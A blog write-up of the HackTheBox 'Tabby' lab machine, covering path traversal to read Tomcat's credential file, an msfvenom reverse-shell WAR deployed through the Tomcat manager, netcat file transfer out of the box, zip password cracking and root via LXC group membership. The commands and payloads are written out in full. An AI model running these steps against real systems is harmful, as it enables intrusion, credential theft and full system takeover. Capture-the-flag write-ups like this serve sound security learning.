Antonio Macovei

HackTheBox - Tabby - Write Up

September 28th, 2020 at 21:15 Antonio Macovei HackTheBox

This week's box is called Tabby. I got the chance to exploit a bug from the OWASP Top 10 list while also interacting with a new service - Tomcat. It was a pretty easy box, interesting to explore, but the path to root was very similar to Cache. Let's dig into the specifics.

Tabby - Technical Details

OS: Linux
Difficulty: Easy
Points: 20
Release: 20 Jun 2020


Tabby is an easy-rated Linux machine featuring a web hosting website. One of the pages was susceptible to path traversal vulnerability. Abusing this in conjunction with the Tomcat service exposed on the internet resulted in credentials exposure. Deploy a reverse shell inside the Tomcat instance using the stolen credentials opened a shell to the box. Cracking the password of a zip archive gave up the credentials to the user account. Finally, this user had the user group set to LXC. Escalating privileges using a container results in full system compromise.

Key techniques and exploits:

  • Path Traversal
  • CVE
  • Password Cracking
  • LXC Privilege Escalation


Starting with the classic enumeration using Nmap, I got three services running:

znq@sydney:~$ nmap -sV -p-
Starting Nmap 7.80 ( ) at 2020-09-20 00:10 EEST
Nmap scan report for
Host is up (0.058s latency).
Not shown: 65532 closed ports
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
8080/tcp open  http    Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 36.25 seconds
  • SSH Service on port 22.
  • Web server running Apache on port 80.
  • Apache Tomcat on port 8080.

The website look like a web hosting service:

While the Tomcat installation is the default one:

Path Traversal

Navigating and enumerating the website, I stumbled upon an interesting page. news.php had a parameter file passed through the URL and included a document called statement.

This page was a classic example of the path traversal vulnerability from OWASP Top 10 list - Broken Access Control. Replacing the actual document with an arbitrary file resulted in that file being shown right there. Moreover, I was also able to traverse directories, including the /etc/passwd file with the following payload:


Now, it was time to expose some sensitive files. Something useful would be a set of credentials for the Tomcat service. Reading the official documentation, I learned that users are stored in a file located at $CATALINA_BASE/conf/tomcat-users.xml. Moreover, the Tomcat page running on port 8080 showed that users are defined at /etc/tomcat9/tomcat-users.xml. Combining these two pieces of information, I built the payload.

GET /news.php?file=../../../../../usr/share/tomcat9/etc/tomcat-users.xml HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

And the response from the server:

Initial Foothold - Java Reverse Shell

I obtained the username and password for the manager account, which has access to upload and deploy .war files. This means I can execute code. I finally have an attack vector for RCE. A more detailed article on Tomcat vulnerabilities and exploits can be found here.

I built a Java reverse shell payload using msfvenom:

znq@sydney:~$ msfvenom -p java/shell_reverse_tcp LHOST= LPORT=4444 -f war -o pwn.war
Payload size: 13401 bytes
Final size of war file: 13401 bytes
Saved as: pwn.war

Then I queried the Tomcat manager upload URL and deployed the malicious file.

znq@sydney:~$ curl -v -u tomcat:\$3cureP4s5w0rd123\! --upload-file pwn.war ""
*   Trying
* Connected to ( port 8080 (#0)
* Server auth using Basic with user 'tomcat'
> PUT /manager/text/deploy?path=/revshell&update=true HTTP/1.1
> Host:
> Authorization: Basic dG9tY2F0OiQzY3VyZVA0czV3MHJkMTIzIQ==
> User-Agent: curl/7.68.0
> Accept: */*
> Content-Length: 13401
> Expect: 100-continue
* Mark bundle as not supporting multiuse
< HTTP/1.1 100 
* We are completely uploaded and fine
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 
< Cache-Control: private
< Expires: Thu, 01 Jan 1970 00:00:00 GMT
< X-Content-Type-Options: nosniff
< Content-Type: text/plain;charset=utf-8
< Transfer-Encoding: chunked
< Date: Fri, 25 Sep 2020 22:55:30 GMT
OK - Deployed application at context path [/revshell]
* Connection #0 to host left intact

Accessing the path of the malicious file and setting up a listener on my host created a shell to the victim.

znq@sydney:~$ curl
znq@sydney:~$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [] from (UNKNOWN) [] 53096
python3 -c 'import pty; pty.spawn("/bin/bash")'

Privilege Escalation - Password Cracking

My first reflex was to enumerate the folder of the website, /var/www/html. Here, I found a .zip archive called I transferred it on my host using netcat, in order to analyze its contents locally.

I created a listener on port 4445, redirecting the output to a file.

znq@sydney:~$ nc -lnvp 4445 >
listening on [any] 4445 ...
connect to [] from (UNKNOWN) [] 41486

And started the transfer of the original file.

tomcat@tabby:/var/www/html/files$ nc -w 3 4445 <

Unfortunately, the archive was password protected. I used fcrackzip to crack the password, which turned out to be fast, and unzipped the contents.

znq@sydney:~/tabby$ fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt 

PASSWORD FOUND!!!!: pw == admin@it
znq@sydney:~/tabby$ unzip -P admin@it 
   creating: var/www/html/assets/
  inflating: var/www/html/favicon.ico  
   creating: var/www/html/files/
  inflating: var/www/html/index.php  
 extracting: var/www/html/logo.png   
  inflating: var/www/html/news.php   
  inflating: var/www/html/Readme.txt 

There was nothing interesting in the archive itself, but the password retrieved - admin@it - was also the password to the ash account. Using su to switch accounts, I got the user flag.

tomcat@tabby:/var/www/html/files$ su ash
su ash
Password: admin@it
ash@tabby:~$ cat user.txt
cat user.txt

Privilege Escalation - LXC Group

Escalating privileges to root was pretty easy this time, having learnt from the Cache box how to use a container to achieve this. Only this time I had to use an LXC container instead of Docker, and also I had to create a Linux image myself, one not being available on the victim machine. A detailed articles on LXC privilege escalation can be found here.

First things first, I cloned a Git repository with a Linux Alpine (from here) image and built it:

znq@sydney:~/tabby$ git clone
Cloning into 'lxd-alpine-builder'...
remote: Enumerating objects: 27, done.
remote: Total 27 (delta 0), reused 0 (delta 0), pack-reused 27
Unpacking objects: 100% (27/27), 15.98 KiB | 244.00 KiB/s, done.

znq@sydney:~/tabby$ cd lxd-alpine-builder/

znq@sydney:~/tabby/lxd-alpine-builder$ sudo ./build-alpine 
Determining the latest release... v3.12
Using static apk from
Downloading alpine-mirrors-3.5.10-r0.apk
Downloading alpine-keys-2.2-r0.apk
Downloading apk-tools-static-2.10.5-r1.apk OK
Verified OK
Selecting mirror
(1/19) Installing musl (1.1.24-r9)
(2/19) Installing busybox (1.31.1-r19)
(3/19) Installing alpine-baselayout (3.2.0-r7)
Executing alpine-baselayout-3.2.0-r7.pre-install
(4/19) Installing openrc (0.42.1-r11)
(5/19) Installing alpine-conf (3.9.0-r1)
(6/19) Installing libcrypto1.1 (1.1.1g-r0)
(7/19) Installing libssl1.1 (1.1.1g-r0)
(8/19) Installing ca-certificates-bundle (20191127-r4)
(9/19) Installing libtls-standalone (2.9.1-r1)
(10/19) Installing ssl_client (1.31.1-r19)
(11/19) Installing zlib (1.2.11-r3)
(12/19) Installing apk-tools (2.10.5-r1)
(13/19) Installing busybox-suid (1.31.1-r19)
(14/19) Installing busybox-initscripts (3.2-r2)
(15/19) Installing scanelf (1.2.6-r0)
(16/19) Installing musl-utils (1.1.24-r9)
(17/19) Installing libc-utils (0.7.2-r3)
(18/19) Installing alpine-keys (2.2-r0)
(19/19) Installing alpine-base (3.12.0-r0)
Executing busybox-1.31.1-r19.trigger
OK: 8 MiB in 19 packages

znq@sydney:~/tabby/lxd-alpine-builder$ ls
alpine-v3.12-x86_64-20200926_1657.tar.gz  build-alpine  LICENSE

Then, I started a simple python HTTP server to transfer the image:

znq@sydney:~/tabby/lxd-alpine-builder$ python3 -m http.server 8000
Serving HTTP on port 8000 ( ... - - [26/Sep/2020 17:37:29] "GET /alpine-v3.12-x86_64-20200926_1712.tar.gz HTTP/1.1" 200 -

And downloaded the image on the victim machine:

ash@tabby:~$ wget
--2020-09-26 14:50:57--
Connecting to connected.
HTTP request sent, awaiting response... 200 OK
Length: 3206553 (3.1M) [application/gzip]
Saving to: ‘alpine-v3.12-x86_64-20200926_1712.tar.gz’

alpine-v3.12-x86_64 100%[===================>]   3.06M  4.11MB/s    in 0.7s    

2020-09-26 14:50:57 (4.11 MB/s) - ‘alpine-v3.12-x86_64-20200926_1712.tar.gz’ saved [3206553/3206553]

I imported the new image into LXC:

ash@tabby:~$ lxc image import ./alpine-v3.12-x86_64-20200926_1712.tar.gz --alias pwn
<lpine-v3.12-x86_64-20200926_1712.tar.gz --alias pwn
ash@tabby:~$ lxc image ls
lxc image ls
| ALIAS | FINGERPRINT  | PUBLIC |          DESCRIPTION          | ARCHITECTURE |   TYPE    |  SIZE  |         UPLOAD DATE          |
| pwn   | 3917037e40ff | no     | alpine v3.12 (20200926_17:12) | x86_64       | CONTAINER | 3.06MB | Sep 26, 2020 at 2:51pm (UTC) |

And initialized a new the container from the Alpine image:

ash@tabby:~$ lxc init pwn pwn-container -c security.privileged=true
lxc init pwn pwn-container -c security.privileged=true
Creating pwn-container
ash@tabby:~$ lxc ls
lxc ls
|     NAME      |  STATE  | IPV4 | IPV6 |   TYPE    | SNAPSHOTS |
| pwn-container | STOPPED |      |      | CONTAINER | 0         |

In order to get a root shell on the current system, I mounted the / directory to /mnt/root in the container as a device, and set the recursive attribute to true, so the entire file system is accessible.

ash@tabby:~$ lxc config device add pwn-container pwn-device disk source=/ path=/mnt/root recursive=true
<-device disk source=/ path=/mnt/root recursive=true
Device pwn-device added to pwn-container

Finally, I started the container and executed /bin/sh, getting root and compromising the system.

ash@tabby:~$ lxc start pwn-container
lxc start pwn-container
ash@tabby:~$ lxc exec pwn-container /bin/sh
~ # ^[[76;5Rcd /mnt/root
cd /mnt/root
/mnt/root # ^[[76;13Rcd root
cd root
/mnt/root/root # ^[[76;18Rls
root.txt  snap
/mnt/root/root # ^[[76;18Rcat root.txt
cat root.txt